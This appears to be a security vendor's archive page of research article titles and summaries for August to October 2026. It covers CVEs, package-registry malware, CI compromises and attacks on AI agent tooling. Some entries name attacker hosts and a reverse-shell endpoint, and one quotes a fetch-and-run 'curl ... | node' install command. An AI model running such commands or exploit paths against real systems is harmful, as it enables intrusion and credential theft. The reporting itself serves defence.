Weekly Briefing - 27-10-2026
Corgea's weekly briefing for 21-27 October 2026 leads with PHP2Shell, then covers the LiteLLM 1.107.0 supply-chain compromise and Wiz's Gheist GitHub Actions campaign, with grouped links to the rest of a 34-article research week.
vLLM 0.32.0, OpenHands SDK 1.52.0, and Google Cloud MCP advisories: shared-memory `pickle.loads` RCE, unauthenticated Docker sandbox binds, and GCS bucket squatting
On 26 October 2026, six vulnerabilities across AI inference and agent tooling were published: vLLM 0.32.0 patches forged shared-memory multimodal handle `pickle.loads()` RCE (CVE-2026-115912), unrestricted Pillow `Image.open()` EPS/Ghostscript dispatch (CVE-2026-115915), and `/v1/responses` chat-template policy bypass (CVE-2026-115918); OpenHands Software Agent SDK 1.52.0 fixes unauthenticated `0.0.0.0` sandbox agent server port bindings (CVE-2026-112346, CVSS 9.8); and Google Cloud's MCP Toolbox for Databases (`googleapis/mcp-toolbox`, CVE-2026-93328, CVSS 9.3) and Cloud Run MCP (`@google-cloud/cloud-run-mcp`, CVE-2026-85297) close arbitrary file read/write and Cloud Build GCS bucket-squatting RCE paths.
Rust `zip` 9.0.0 and 9.0.5 and Cloudflare `pingora-core` 0.8.1 and 0.9.0 patch dual-header Zip Cloaking, symlink escapes, and HTTP/2 `:authority` / `Host` desync
On 26 October 2026, five CVEs in the Rust `zip` crate (CVE-2026-115905, CVSS 10.0; CVE-2026-115906 through CVE-2026-115909) and two RustSec advisories in Cloudflare's `pingora-core` HTTP proxy engine (CVE-2026-105298 / RUSTSEC-2026-0388 and CVE-2026-105297 / RUSTSEC-2026-0389) were published. In `zip`, mismatches between Central Directory and Local File Headers let an archive pass a `ZipArchive` scanner while `ZipStreamReader` extracted a different filename and payload, alongside symlink lexical-prefix escapes, unverified AES HMAC tags, and infallible ZIP64 pre-allocation aborts. In `pingora-core`, HTTP/2 requests with conflicting `:authority` and `Host` headers let attackers bypass route filters and poison caches.
Netty `netty-tcnative` `2.0.84.Final` patches OpenSSL BIO ring-buffer heap overflow, session-ticket key rotation UAF, and modified UTF-8 SNI spoofing
On 26 October 2026, four vulnerabilities in Netty's `netty-tcnative` OpenSSL JNI bindings (`CVE-2026-116539`, CVSS 8.2; `CVE-2026-116540`, CVSS 8.2; `CVE-2026-116541`, CVSS 8.2; and `CVE-2026-116542`, CVSS 6.9) were disclosed alongside `netty-tcnative` `2.0.84.Final`. Remote TLS peers can trigger an out-of-bounds `memcpy` in `tcn_write_to_bytebuffer` when the non-application ring buffer wraps around, trigger a use-after-free in `ssl_tlsext_ticket_key_cb` during OpenSSL 3.x session-ticket key rotation, corrupt TLS 1.3 post-handshake flights via overreported BIO write counts, or spoof SNI hostnames using JNI modified UTF-8 (`0xC0 0x80`) NUL bytes.
npm replaces 19 `appit-online` packages after `ionic-insta-api-wrapper` and `insta-api-wrapper` exfiltrate Instagram credentials and run `/v2/insta/verify` follow/like commands
On 25 October 2026 (09:33 to 09:37 UTC), npm replaced 19 packages owned by the German AppIT-Online publisher account with 0.0.1-security placeholders and the GitHub Advisory Database published 19 critical malware advisories (GHSA-65qr-q8w8-4q7r, GHSA-j8vh-32vh-rj39, and 17 siblings). Source inspection of appit-online/ionic-insta-api-wrapper and appit-online/insta-api-wrapper confirms that both libraries silently POST plaintext Instagram credentials and session responses to https://reelsaver.appit-online.de/v2/insta/check, poll /v2/insta/verify to auto-follow accounts and auto-like posts with the caller's session token, and beacon every profile/story lookup, while npm's account-wide takedown also swept up 17 companion Cordova, scraper, PKCS#12, OCSP, and Redis CLI packages.
Twisted `26.10.0rc1` patches six pre-auth XML, IRC, Telnet, HTTP, IMAP4, and DNS vulnerabilities (`CVE-2026-115775`, `CVE-2026-115776`, `CVE-2026-115778`, `CVE-2026-115877`)
On 22 and 23 October 2026, the Twisted project published six security advisories fixed in Twisted 26.10.0rc1: three unauthenticated memory-exhaustion flaws in pre-auth XMPP XML streams (CVE-2026-115775), IRC line buffering (CVE-2026-115776), and Conch Telnet option subnegotiation (CVE-2026-115778); HTTP request smuggling in twisted.web via bare CR or LF bytes inside header values (CVE-2026-115877); an infinite reactor loop in IMAP4 SEARCH negative literal sizes (CVE-2026-115774); and missing UDP source-address validation in twisted.names DNS queries (CVE-2026-83813).
Postiz `2.25.2` and `2.25.3` advisories: unrestricted `@DashboardFunction` calls, media path traversal, and `extension-refresh` JWT signing (`CVE-2026-115931`, `CVE-2026-115932`, `CVE-2026-115933`)
On 23 and 24 October 2026, GitroomHQ published v2.25.2 and v2.25.3 of the open-source Postiz scheduling platform alongside three critical CVEs discovered by Anthropic (CVE-2026-115931, CVSS 9.9; CVE-2026-115932, CVSS 9.6; and CVE-2026-115933, CVSS 9.9). Because Postiz leaves self-registration enabled by default unless DISABLE_REGISTRATION=true is set, an unprivileged registered user could call internal SocialAbstract methods on POST /integrations/function to read the backend's environment and JWT_SECRET, traverse UPLOAD_DIRECTORY via post media attachments, or make POST /integrations/extension-refresh sign arbitrary JWT payloads to take over any user or organization.
CVE-2026-110447: CISA KEV flags Collabora Online `richdocumentscode` Nextcloud `proxy.php` command injection as `26.4.502` ships
On 23 October 2026, CISA added CVE-2026-110447 (CVSS v4.0 9.2 Critical) in the Collabora Online Built-in CODE Server Nextcloud app (richdocumentscode < 26.4.303) to its Known Exploited Vulnerabilities catalog, the same day Collabora released 26.4.502 to close remaining lifecycle and disablement gaps in proxy.php. Unauthenticated requests to /apps/richdocumentscode/proxy.php?status while the local coolwsd daemon is stopped inject shell commands through $_SERVER['REQUEST_URI'], which attackers have used to plant shx*.php and shrf*.php web shells and hunt for credential stores and Nextcloud config secrets.
Laravel 12.68.0 / 13.29.0 and Livewire 4.4.8 advisories: non-string TokenGuard auth bypass, JSON:API `include` table truncation, and `#[Authorize]` parameter key confusion
On 23 October 2026, the GitHub Advisory Database published three reviewed security advisories across the Laravel ecosystem: CVE-2026-114509 (GHSA-f9x3-7vq9-cph6, CVSS v4.0 9.2 Critical) in laravel/framework, where non-string api_token credentials bypass TokenGuard under MySQL and MariaDB; CVE-2026-114508 (GHSA-5wcm-3v2w-8362) in laravel/framework, where nested JSON:API include parameters such as comments.truncate invoke destructive Eloquent Builder methods on read-only endpoints; and GHSA-mhf7-xp6r-6qrc in livewire/livewire, where reordered integer parameter keys and #[Json] hook ordering bypass #[Authorize].
OVHcloud CLI `v0.11.0` to `v0.15.0` GitHub release asset swap: dirty Go builds, an `envchecker` stealer, and a GlassWorm dead drop
Through a hijacked contributor GitHub account (`HassenBF`), an attacker replaced the macOS, Linux, and Windows release binaries and `checksums.txt` files on five existing OVHcloud CLI releases (`v0.11.0` to `v0.15.0`) for 94 minutes (`~250` downloads). On 24 October 2026, StepSecurity published a blast-chamber replay and recovered the contributor account's GlassWorm variation-selector loader from an orphaned commit after the attacker force-pushed the repositories again on 21 October to erase the evidence.
MCP TypeScript SDK advisories: cross-client response leaks, un-scoped tasks, and two fixes that stay off until you edit code
On 20 October 2026, the GitHub Advisory Database and NVD published five CVEs (CVE-2026-111767 through CVE-2026-111771, plus GHSA-f897-62hf-6gxq) for @modelcontextprotocol/sdk and @modelcontextprotocol/server. The batch covers cross-session task access (CVSS 8.6), a 2.x regression where the server construction taught in four official adapter READMEs leaks one HTTP client's responses to another (CVSS 7.7), and two memory-exhaustion and bearer-token audience fixes that remain disabled after upgrading unless you change application code.
CVE-2026-114125 and CVE-2026-114126: Storybook dev server preview and LAN WebSocket channels allow code injection into story files
On 21 and 22 October 2026, the GitHub Advisory Database and NVD published CVE-2026-114125 (GHSA-f2ph-cmg5-wxc8, CVSS v4.0 9.4 Critical) and CVE-2026-114126 (GHSA-px85-f4q5-jh77, CVSS v4.0 8.7 High) affecting Storybook 8.x, 9.x, 10.x, and 11.0.0-alpha. A malicious website or a peer on the same local network can send channel events to a running Storybook dev server, inject arbitrary JavaScript into story files, and reach OS command execution through Vitest Browser mode.
Django REST framework, PyJWT, and Black advisories: bz2_codec upload expansion, silent TokenProxy.delete(), empty oct JWK forgery, and CI required-version injection
On 22 October 2026, the GitHub Advisory Database and NVD published five high-severity Python advisories across Django REST framework (CVE-2026-114136, CVE-2026-114137, CVE-2026-114138), PyJWT (GHSA-pxh4-856f-4h89), and Black's GitHub Action (CVE-2026-114134, CVSS v4.0 8.7). Together they cover a 466,033x memory amplification in DRF's default JSONParser via Content-Type: application/json; charset=bz2_codec, a TokenProxy.delete() bug that leaves revoked tokens valid, an empty symmetric JWK HMAC forgery in PyJWT, and arbitrary pip install injection from pyproject.toml in Black's CI action.
DOMPurify 3.4.17 fixes shadow-root SAFE_FOR_TEMPLATES bypass and IN_PLACE hook detachment escapes (GHSA-cg2g-xh64-v4q7, GHSA-mrv2-3pqr-j5jr)
On 22 October 2026, the GitHub Advisory Database published three advisories for Cure53's DOMPurify HTML sanitizer, led by a critical SAFE_FOR_TEMPLATES bypass in attached shadow roots (GHSA-cg2g-xh64-v4q7, CVSS v4.0 9.2) and a high-severity IN_PLACE hook detachment bypass (GHSA-mrv2-3pqr-j5jr, CVSS v4.0 7.6), alongside an XHTML SMIL attributeName case bypass (GHSA-c6gr-qvv4-5v3f). All three are fixed in dompurify 3.4.17.
Apex Accelerator's npm tools rerouted AI agent traffic and dropped CloudSyncD and a Telegram stealer (REF8801)
A fake Web3 accelerator published `@apexacc/cli` and `@apexacc/audit` to npm as an AI coding assistant and an MCP audit server. The CLI is a repackaged Oh My Pi agent that points OpenRouter traffic at attacker infrastructure, persists a remote MCP server, and runs server-selected commands that end in CloudSyncD on macOS or a native infostealer on Windows. `@apexacc/cli` 1.6.2 was still on the public registry on 22 October 2026.
Pillow 13.0.0 fixes five critical RCE and heap-overflow flaws across multi-frame, FlashPix, JPEG, TIFF, and EPS paths
Between 19 and 22 October 2026, NVD, oss-security, and the GitHub Advisory Database published CVE assignments and technical advisories for more than 30 vulnerabilities fixed in Pillow 13.0.0. Five are rated critical (CVSS 9.2 to 9.8), and four carry working command-execution proofs across multi-frame mode transitions (CVE-2026-96639), FlashPix JPEG tiles (CVE-2026-112398), in-memory TIFF encoding (CVE-2026-112393), and Ghostscript EPS rendering (CVE-2026-112900). Every Pillow wheel from 11.1.0 through 12.3.0 also bundles an unpatched libopenjp2 2.5.4 heap overflow (GHSA-78g4-xqwv-q3g8).
GhostAction's fake-font stage reached about 12,000 GitHub repositories, and its 20 October workflows trade Actions OIDC tokens for AWS roles
GhostAction no longer stops at a secret-stealing workflow. Since 14 October it has committed a `.vscode/tasks.json` launcher and a Node.js stealer named `public/fonts/fa-solid-400.woff2` into roughly 12,000 repositories, and on 20 and 21 October it rewrote leftover workflows to request GitHub Actions OIDC tokens and call `sts:AssumeRoleWithWebIdentity` against any IAM role ARN in the job environment. Everything still reports to `193.32.204.199`.
Next.js and @sentry/nextjs advisories: use cache typed-array RCE, sharp SVG RCE, and tunnelRoute middleware bypass
On 22 October 2026, the GitHub Advisory Database published reviewed critical and high advisories for Next.js (GHSA-673q-mjm6-r5xr, GHSA-2464-fhr4-w9xw / CVE-2026-96889, GHSA-p3m5-59mp-jv5r / CVE-2026-94482) and @sentry/nextjs (GHSA-mchm-gjx6-7h55 / CVE-2026-114139). Together they cover two unauthenticated RCE paths in Next.js 16.4.1 and 15.5.28, a lockfile trap where upgrading Next.js 15.5.28 leaves vulnerable sharp 0.34.x installed, and a Webpack middleware bypass in @sentry/nextjs when tunnelRoute is enabled.
LiteLLM `1.107.0`: a lookalike repo, a maturin `data` directive, and two Python startup hooks
On 21 October 2026 an attacker used stolen GitHub CLI tokens from three LiteLLM engineers to run BerriAI's release workflow against a lookalike `Berri-AI/litellm` repository. The resulting `litellm==1.107.0` wheels on PyPI and the `v1.107.0`, `latest`, `main-latest`, and `main-stable` Docker images dropped `cook.pth`, `cook.py`, and `sitecustomize.py` into site-packages. Those files ran a credential stealer on every Python start and planted an hourly remote-code loader.
`uv` defaulted to a compromised emSign root until `0.13.4`
Astral's 20 October 2026 `uv` advisory matters because it is not just another certificate cleanup. Every `uv` release before `0.13.4` used a vendored `webpki-root-certs` bundle by default, and that bundle still trusted `emSign ECC Root CA - G3` after the associated eMudhra intermediate keys were reported compromised and revoked. That meant a hostile network position could impersonate PyPI, a private index, or another HTTPS package host and hand `uv` attacker-chosen artifacts that still passed certificate validation.
PhantomSub kept growing in October: Baileys npm forks hijack WhatsApp channel follows at runtime
Fresh mid-October advisories show the PhantomSub campaign still adding new Baileys forks to npm. The payload is unusual for a supply-chain attack: most samples do not run at install time or steal registry tokens. They wait for a real WhatsApp bot session to open, then use that authenticated session to force-follow attacker-chosen channels.
Weekly Briefing - 20-10-2026
Corgea's weekly briefing for 13-20 October 2026 leads with Bloom Security's SlugFest trusted-publishing flaw, then covers the `yyay` AUR root-path malware, the Infinity Core Linux kernel cluster, and util-linux mount TOCTOU bugs.
Infinity Core: six Linux kernel bugs raise the value of any local foothold
The 17 October 2026 Infinity Core disclosure bundles six Linux kernel flaws across exec, signal, page walking, futexes, scheduler cache accounting, and SLUB. Several stable fixes are already out, but any unpatched server, container host, CI runner, or Android build turns a routine low-privilege foothold into a much more valuable position.
util-linux mount TOCTOU flaws let user mounts reach root
Fresh util-linux disclosures published on 14 October 2026 show three ways a low-privilege Linux user can turn a user-authorized mount into root. The common mistake is simple: `/usr/bin/mount` validated one path, then later re-used a pathname or legacy mount flow that an attacker could swap underneath it.
Weekly Briefing - 15-10-2026
Corgea's 15 October 2026 briefing leads with the 12 October advisory for `css-nesting-transform@1.0.0`, an unpublished npm impostor that hid host reconnaissance and a likely Wix-focused dependency-confusion setup behind a fake CSS polyfill. It also covers the `py2ops==2.2` PyPI implant that turned a fake `python2` REPL into an operator-linked loader, plus the new `System.Security.Cryptography.Pkcs` CPU-exhaustion bug in NuGet.
`yyay` turned a checksum-clean AUR helper into root-level malware execution
On 13 October 2026, the `marchos1as` AUR account uploaded typosquatted helper packages led by `yyay`, a fake `yay` build that reused the real source tarball but added a malicious `.install` script fetching `hellscripter/install-scripts` through `web.archive.org`, which put root-level code execution on the package-install path.
SlugFest: npm Trusted Publishing let reclaimed GitHub slugs publish someone else's package
Bloom Security's 13 October 2026 SlugFest disclosure showed that npm Trusted Publishing accepted owner/repo slugs and workflow basenames before the first successful publish, so a renamed, transferred, or deleted repository could be reclaimed and used to mint a valid publish credential for more than 1,500 exposed npm packages.
October's npm dependency-confusion cluster used native add-ons to map and raid internal environments
Between 9 and 11 October 2026, npm packages including `@galicia-toolkit-nestjs/paas`, `cloudflare_module`, `kmf-bootstrap`, `kmf-vendor-pack`, and `ksp-app` used inflated versions, postinstall hooks, and native add-ons to win dependency resolution and exfiltrate CI tokens, registry URLs, and host metadata.
tensorlake npm compromise used a preinstall loader, signed provenance, and a token-triggered wipe path
On 8 October 2026, malicious tensorlake@0.5.144 turned a normal npm install into host compromise. Attackers committed an obfuscated loader straight to tensorlakeai/tensorlake main, added `preinstall: node lib/setup.mjs`, published from the project's own workflow with provenance, skipped common CI environments, and persisted as `gh-token-monitor` so revoking a stolen GitHub token could trigger local file deletion.
Angular npm typosquats used web.archive.org to proxy install-time code execution
Between 4 and 5 October 2026, attackers published 14 malicious npm packages that sat one keystroke away from Angular's package scopes. Thirteen packages executed `curl -L https://web.archive.org/web/https://gitflic.ru/... | node` from `preinstall` or `postinstall`, while `@angulaar/cli` cloned the real Angular CLI and replaced its MCP dependency with attacker-chosen package `@modelcontextprotocol/server@2.0.0`.
Weekly Briefing - 07-10-2026
Corgea's 7 October 2026 briefing leads with a 14-package Angular typosquat wave that proxied install-time malware through `web.archive.org`, then points readers back to the already-covered `@subql/common` trusted-publisher compromise. The requested source sweep did not surface a fresher Linux or package-manager story in the last 72 hours.
@subql/common: trusted publisher release swapped in a detached stealer
On 5 October 2026, attackers used an unsigned commit in `subquery/subql` to replace the built `@subql/common` package with an externally hosted tarball, then published `5.8.3` through GitHub Actions OIDC. The malicious version ran from both `postinstall` and `require('@subql/common')`, harvested local, cloud, Kubernetes, Vault, and GitHub credentials, and could inject a fake CodeQL workflow into reachable repositories.
Weekly Briefing - 06-10-2026
Corgea's weekly briefing for 30 September to 6 October 2026 centers on n8n queue-mode package installation through Redis and notes that the week's only other English-language research article, Nx `@nx/docker` release-pipeline command injection, was already covered in the 5 October interim briefing.
Weekly Briefing - 05-10-2026
Corgea's early-October briefing leads with Nx release-pipeline command injection in `@nx/docker`, then covers two fresh Tinypool worker-pool RCE gadgets and Mammoth.js style-map ReDoS. The requested source sweep did not surface a stronger in-window package compromise or Linux zero day than this npm cluster.
MAL-2026-17192: `donutautosellsrc` on PyPI staged a hidden Windows infostealer from a PNG and Polygon-linked C2
Public malware advisories published on 27 September 2026 tie `donutautosellsrc` versions `0.3.7` through `0.3.9` to an install-time loader that fetched a ZIP-appended PNG, unpacked a Windows Python runtime, and handed execution to an obfuscated native extension while later network routing was tied to C2 data pulled from Polygon transaction history.
Weekly Briefing - 29-09-2026
Corgea's weekly briefing for 23-29 September 2026 centers on Linux SUNRPC remote memory corruption in CVE-2026-93207, then points readers to the MemTensor, Graphalgo, and actions-cool research that earlier late-week briefings already covered.
CVE-2026-93207 leaves Linux SUNRPC with a stale GSS credential pointer
CVE-2026-93207 is a critical Linux kernel SUNRPC bug where a malformed RPCSEC_GSS credential can leave reused server-side state holding a borrowed XDR pointer plus a stale length, opening a path to remote memory corruption in exposed RPC services.
Weekly Briefing - 26-09-2026
Corgea's briefing for 23-26 September 2026 leads with MemTensor's compromised OpenClaw npm plugin and MemoryOS PyPI release, adds the later registry-cleanup and CI-bridge details, and records that the requested CISA/NVD/Aikido/Wiz/Socket/Endor sweep did not uncover a second brand-new package or Linux story worth a separate article.
Re-enabled `actions-cool` tags turned old Mini Shai-Hulud commits back into live CI malware
September 24 and 25 reporting shows `actions-cool/issues-helper` and `actions-cool/maintain-one-comment` becoming reachable again with malicious tags intact, so ordinary issue and comment workflows went back to downloading Bun, scraping `Runner.Worker` memory, and exposing CI secrets.
Graphalgo reached Terraform providers and Go modules with trigger-gated Go malware
Research published between 22 and 24 September 2026 shows the Graphalgo campaign moving from npm into Terraform providers and Go modules, where the payload hides behind provider and data-structure code paths, then decrypts a Go second stage controlled over Slack and Arbitrum Sepolia.
Weekly Briefing - 25-09-2026
Corgea's late-September briefing leads with Graphalgo's move into Terraform providers and Go modules, then covers Socket's Mini Shai-Hulud GitHub Actions re-enable warning and explains why the rest of the required source scan did not produce a stronger new package or Linux article in the same window.
MemTensor's OpenClaw plugin and MemoryOS launched the sckit implant from npm and PyPI
On 23 September 2026, compromised releases of MemTensor's OpenClaw npm plugin and MemoryOS PyPI package launched a bundled Go implant at plugin load or Python import, then searched developer and CI environments for registry, source control, cloud, and SSH credentials.
mathmain, mathsbase, and math-universe hid an encrypted loader behind lusolve()
Research published between 18 and 21 September 2026 shows three npm mathjs clones carrying malicious tarball-only code that stayed dormant until lusolve() processed a specific matrix, then decrypted a Slack and Sepolia controlled implant.
Weekly Briefing - 22-09-2026
Corgea's Tuesday briefing for 16-22 September 2026 leads with the mathmain encrypted-loader cluster, then covers nvm's new alias traversal, CISA's Linux KEV additions, and CrowdStrike's PhantomRaven report that did not make the prior roundup.
CVE-2026-94185: malicious .nvmrc values can make nvm read .npmrc, .aws/credentials, and other local files
A 21 September 2026 disclosure shows that nvm <= 0.40.7 resolves alias names as filesystem paths under $NVM_DIR/alias without rejecting .. components. That lets an attacker-controlled .nvmrc or alias name escape the alias directory and disclose readable local files, including registry tokens and cloud credentials, when developers run nvm use, nvm install, nvm which, or nvm alias.
CISA moved three Linux kernel CVEs into KEV
CISA added `CVE-2025-39682`, `CVE-2026-53266`, and `CVE-2025-39964` to KEV on 18 September 2026. The three Linux kernel flaws sit in `kTLS`, `ebtables`, and `AF_ALG`, and they matter to application-security teams because a malicious package, compromised CI job, or low-privilege shell can use the host kernel as the second stage.
CVE-2026-89418: google-protobuf lets unknown group fields recurse until Node.js crashes
Published on 17 September 2026, google-protobuf up to 4.0.2 can recurse indefinitely between its group-skipping reader paths when it sees deeply nested unknown group fields, letting a small protobuf payload crash Node.js services that use generated protobuf deserializers.
Weekly Briefing - 19-09-2026
Corgea's briefing for 16-19 September 2026 leads with google-protobuf's new unknown-group recursion DoS, then covers CrowdSec's final TanStack follow-up report and explains why the requested Aikido, Wiz, Socket, and Endor Labs scans did not produce a separate brand-new package-malware article in the same window.
PhantomRaven on npm: `transform-jsbi-to-bigint` and `sort-imports-es6-autofix` hid credential theft behind URL dependencies
A 15 September 2026 incident report tied real PhantomRaven compromises to two npm packages that looked like developer tooling, then pulled the actual stealer from attacker infrastructure through URL-based dependencies and a `preinstall` hook.
openaii, ollamaa, langgrap, and transfomers used `.pth` startup hooks to backdoor Python environments
Between 11 and 13 September 2026, multiple PyPI typosquats aimed at OpenAI, Ollama, LangGraph, and Hugging Face consumers used auto-executing `.pth` files, XOR-obfuscated payloads, and runtime-downloaded second stages to turn routine Python startup into host compromise.
CVE-2026-82329, CVE-2026-42018, and CVE-2026-42016: active JFrog Artifactory exploitation turns package hubs into an admin foothold
September 2026 exploitation of three JFrog Artifactory flaws gives attackers two practical routes into self-hosted artifact hubs: a one-request admin-token minting path through `CVE-2026-82329`, and a two-step chain where `CVE-2026-42018` leaks an internal anonymous token that `CVE-2026-42016` can escalate because token scope is not enforced.
Weekly Briefing - 13-09-2026
Corgea's briefing for 10-13 September 2026 leads with active JFrog Artifactory exploitation across three CVEs, then covers the quarantined `python-fork` PyPI package, and explains why the rest of the requested Aikido, Socket, and Endor Labs feed scan did not justify a second new Corgea article in the same window.
`universal_file_viewer` on pub.dev shipped XCSSET build hooks in retracted 0.1.5 and 0.1.6 releases
The Flutter package `universal_file_viewer` published two retracted pub.dev releases on 8 September 2026. Version `0.1.5` added an Android `preBuild` `ProcessBuilder` hook plus iOS and macOS `PBXBuildRule` downloaders that curl shell stagers from `.ru` infrastructure, while `0.1.6` removed only the Android hook and left the Xcode build rules in place until `0.1.7`.
Dormant Shai-Hulud payload resurfaced in four npm packages after 111 days
On 7 September 2026, malicious versions of `feishu-docx-mcp`, `bmc-i18n-extract-cli`, `blueai-cli`, and `bmc-translate-utils` briefly landed on npm before being replaced by `0.0.1-security`. Public reporting tied the four packages to the same Shai-Hulud payload hash seen in the May 19 AntV wave, with install-time execution through `bun run index.js`.
Weekly Briefing - 08-09-2026
Corgea's weekly briefing for 1-8 September 2026 leads with the active StyleSmuggler Magento zero-day, then covers Fastify middie's absolute-form auth bypass, pnpm's install-time path traversals, and the week's RubyGems and xmldom containment bugs that were not already covered in the 1 September or 5 September briefings.
CVE-2026-85184: `@fastify/middie` can skip path-scoped auth on absolute-form request targets
Disclosed on 4 September 2026, `CVE-2026-85184` in npm package `@fastify/middie` lets requests like `GET http://evil.example/private/secrets` bypass path-scoped middleware while Fastify still dispatches the protected route. The 9.3.4 fix adds absolute-form path extraction before middleware matching and ships dedicated regression tests for root, parameterized, and child-scope guards.
StyleSmuggler: Magento zero-day chains GraphQL style input into failed-payment email RCE
Adobe has now assigned `CVE-2026-75650` to StyleSmuggler and released hotfix `VULN-39341`, but the exploit path is still the same unauthenticated `styles[...]` GraphQL input that poisons Magento-managed files and later executes during payment-failed email rendering.
CVE-2026-48710: Starlette lets a forged Host header lie about `request.url.path`
CISA added CVE-2026-48710 to KEV on 2 September 2026 after active exploitation of Starlette's Host-header parsing flaw. In `starlette <= 1.0.0`, the framework rebuilt `request.url` from `f"{scheme}://{host}{path}"` without validating `Host`, which let malformed headers change `request.url.path` while routing still used the real wire path.
CVE-2026-59822: LiteLLM MCP auth fallback turns any Bearer token into a session
CISA added CVE-2026-59822 to KEV on 2 September 2026 after active exploitation of LiteLLM's MCP Streamable HTTP endpoint. In `litellm < 1.84.0`, a failed API-key check on an `Authorization: Bearer ...` header could fall through to an empty `UserAPIKeyAuth()` object, letting unauthenticated callers reach MCP tooling when the request should have been rejected.
Weekly Briefing - 05-09-2026
Corgea's weekly briefing for 2-5 September 2026 covers CISA's KEV additions for LiteLLM's MCP auth bypass and Starlette's Host-header path confusion, then explains why the requested Aikido, Wiz, Socket, and Endor Labs feeds did not surface a separate package-registry compromise or Linux zero-day in the same short window that justified a duplicate Corgea write-up.
CVE-2026-83619: @xmldom/xmldom malformed end tags trigger quadratic parser DoS
CVE-2026-83619 lets malformed XML force @xmldom/xmldom 0.7.x and 0.8.x into quadratic backtracking in lib/sax.js, stalling Node.js processes until teams upgrade to 0.8.15.
CVE-2026-82392 and CVE-2026-82393: pnpm path traversals turn install into arbitrary file write
Published to NVD on 31 August 2026, two related pnpm flaws show how untrusted lockfile keys and tarball manifest names could escape `node_modules` and write attacker-controlled content to arbitrary filesystem paths during `pnpm install`, with `CVE-2026-82393` still reaching dangerous overwrite paths even under `--ignore-scripts`.
CVE-2026-82455: RubyGems symlink resolution bug lets gem extraction escape its target directory
Published on 29 August 2026, `CVE-2026-82455` shows RubyGems could reject obvious `..` paths yet still write outside `destination_dir` by following a pre-existing symlink during gem extraction. That matters for developer workstations, CI jobs, and build containers that unpack less-trusted gems into reused directories or shared caches.
Weekly Briefing - 01-09-2026
Corgea's weekly briefing for 26 August to 1 September 2026 covers the npm mirror phishing-host campaign, mediasoup's SCTP state-cookie forgery bug, and the higher-urgency weekend incidents already covered in the 31 August interim edition.
Weekly Briefing - 31-08-2026
Corgea's weekly briefing for 28-31 August 2026 covers the compromised `@7nohe/openapi-react-query-codegen` release workflow, the KEV-listed Linux UDPv6 `fraggap` container-escape path in `CVE-2026-53362`, and why the rest of the weekend's reporting mostly added depth to those same two incidents.
@7nohe/openapi-react-query-codegen: issue_comment publishing bug shipped a cross-registry worm
On 28 August 2026, ten malicious versions of @7nohe/openapi-react-query-codegen were published through a GitHub Actions workflow that treated an untrusted `npm publish` pull-request comment as authorization. The poisoned releases used `binding.gyp`, `preinstall`, and a large obfuscated loader to download Bun, steal cloud and registry credentials, and republish themselves across npm, RubyGems, and PyPI.
CVE-2026-53362: Linux UDPv6 fraggap OOB write turns local code into root and container escape
CISA added `CVE-2026-53362` to KEV on 27 August 2026 after active exploitation surfaced against a Linux kernel UDPv6 bug in `__ip6_append_data()`, where bad `fraggap` accounting on the `MSG_SPLICE_PAGES` path lets an unprivileged local user corrupt `skb_shared_info` and pivot from local code execution to root or container-to-host escape until kernels such as `6.1.177`, `6.6.144`, `6.12.95`, `6.18.38`, or `7.1.3` are running.
24 npm packages turned mirrors into phishing hosts
A late-August 2026 npm campaign published minimal packages whose `main` file was `index.html`, letting mirrors such as UNPKG and npmmirror render a fake Cloudflare verification page from a trusted domain. Early variants redirected to `login.microsofte.live`; later variants fetched an encrypted destination from `api.keyval.org`, decrypted it in the browser with Web Crypto, and then redirected the victim.
CVE-2026-55663: mediasoup SCTP state-cookie forgery
Fresh 25 August 2026 NVD publication for `CVE-2026-55663` shows the npm package `mediasoup` and Rust crate `mediasoup` trusted fixed SCTP State Cookie markers (`msworker`, `0xAD81`) instead of a secret-keyed MAC. On `PlainTransport` or `PipeTransport` with SCTP enabled, an on-path attacker could forge `COOKIE-ECHO`, establish an unauthorized association, and inject DataChannel messages as a trusted peer.
scrambleeer and scrambleeeer: PyPI shuffle helpers opened reverse shells
The PyPI packages `scrambleeer` (`0.1.0`, `0.1.1`) and `scrambleeeer` (`0.1.0`) claimed to shuffle number lists, but their `core.py` functions opened a socket to `bax.h4x.tv:6363`, duplicated it over stdin/stdout/stderr, and spawned `/bin/bash` before returning a plausibly normal result.
Weekly Briefing - 25-08-2026
Corgea's weekly briefing for 19-25 August 2026 covers the compromised Rust crates arrayref, internment, and append-only-vec; TrendAI's RedC2 npm cluster; Ray's KEV browser-to-dashboard RCE; the fresh scrambleeer PyPI reverse-shell pair; and the reqcrypts response-driven backdoor.
14 npm calendar and streak packages launched RedC2 4.0 on import
TrendAI's 21 August disclosure showed 14 trojanized npm date utilities that re-export harmless helpers from `dist/internal/daymath.mjs` but execute a loader in `dist/index.mjs` which chmods, verifies, and spawns a bundled Linux ELF. A single import, including a transitive one, starts the RedShell implant without any npm lifecycle script.
reqcrypts turned JSON `_payload` fields into local `exec()` on PyPI
The PyPI package `reqcrypts`, versions 0.1.0 through 0.1.3, masqueraded as a tiny HTTP helper but inspected every JSON response for a `_payload` field, base64-decoded it, and fed the result to Python `exec()`. The same 2026-08 backdoor pattern also appeared in sibling packages `reqcrypt` and `requests-crypt`.
arrayref, internment, append-only-vec: proc-macro1 build.rs backdoor
On 20 August 2026, the crates.io releases `arrayref@0.3.10`, `internment@0.8.7`, and `append-only-vec@0.1.9` were republished with a new dependency on the typosquat `proc-macro1`, whose `build.rs` downloaded and executed a cross-platform second stage during `cargo build`.
CVE-2025-62593: Ray let Firefox and Safari drive dashboard job RCE
CISA's 17 August KEV addition for Ray is a browser-to-dashboard code-execution path in the PyPI package `ray`: versions before `2.52.0` trusted a `User-Agent` prefix check to spot browsers, but Firefox and Safari let `fetch()` override that header. With DNS rebinding, a malicious page could submit jobs to `/api/jobs` or `/api/job_agent/jobs/` on a developer's local or private-network Ray instance.
StubMaker: RubyGems `extconf.rb` typosquats delivered a Windows infostealer
Fresh 15-18 August reporting on the StubMaker campaign shows how RubyGems typosquats such as `brumdler` and `brundlef` abused `extconf.rb` to fake a successful native-extension build, beacon over plain HTTP, fetch a Rust loader from GitHub Releases, and unpack an in-memory Go stealer that targeted Chromium secrets, wallet material, and Telegram data.
Weekly Briefing - 18-08-2026
Corgea's weekly briefing for 12-18 August 2026 covers the StubMaker RubyGems typosquat wave, LiteLLM's August blast-radius disclosure, and the JupyterLab PyPI extension-manager bypasses.
CVE-2026-73416 and CVE-2026-73627: JupyterLab extension-manager bypasses
